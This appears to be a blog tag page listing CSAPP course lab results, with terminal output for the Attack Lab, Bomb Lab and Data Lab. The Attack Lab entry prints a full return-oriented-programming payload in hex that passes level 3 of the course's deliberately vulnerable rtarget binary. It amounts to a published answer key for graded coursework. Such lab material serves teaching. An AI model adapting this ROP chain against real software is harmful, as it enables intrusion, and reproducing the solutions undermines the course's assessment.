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Entries tagged with CSAPP

  • CSAPP Attack Lab

    2017-08-06 21:08:48 / CSAPP /5517 hits

    CSAPP Attack Lab V.2016.01.11

    $ ./hex2raw < input/phase_5.txt | ./rtarget -q
    Cookie: 0x59b997fa
    Type string:Touch3!: You called touch3("59b997fa")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab attacklab
        result  1:PASS:0xffffffff:rtarget:3:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 
    

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  • CSAPP Bomb Lab

    2017-07-24 00:11:26 / CSAPP /10836 hits

    CSAPP Bomb Lab V.2016.01.12

    $ ./bomb inputs.txt 
    Welcome to my fiendish little bomb. You have 6 phases with
    which to blow yourself up. Have a nice day!
    Phase 1 defused. How about the next one?
    That's number 2.  Keep going!
    Halfway there!
    So you got that one.  Try this one.
    Good work!  On to the next...
    Curses, you've found the secret phase!
    But finding it and solving it are quite different...
    Wow! You've defused the secret stage!
    Congratulations! You've defused the bomb!
    

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  • CSAPP Data Lab

    2017-07-19 21:21:54 / Computer CSAPP /16281 hits

    CSAPP Data Lab V.2016.05.04。

    $ ./btest 
    Score   Rating  Errors  Function
     1  1   0   bitAnd
     2  2   0   getByte
     3  3   0   logicalShift
     4  4   0   bitCount
     4  4   0   bang
     1  1   0   tmin
     2  2   0   fitsBits
     2  2   0   divpwr2
     2  2   0   negate
     3  3   0   isPositive
     3  3   0   isLessOrEqual
     4  4   0   ilog2
     2  2   0   float_neg
     4  4   0   float_i2f
     4  4   0   float_twice
    Total points: 41/41
    

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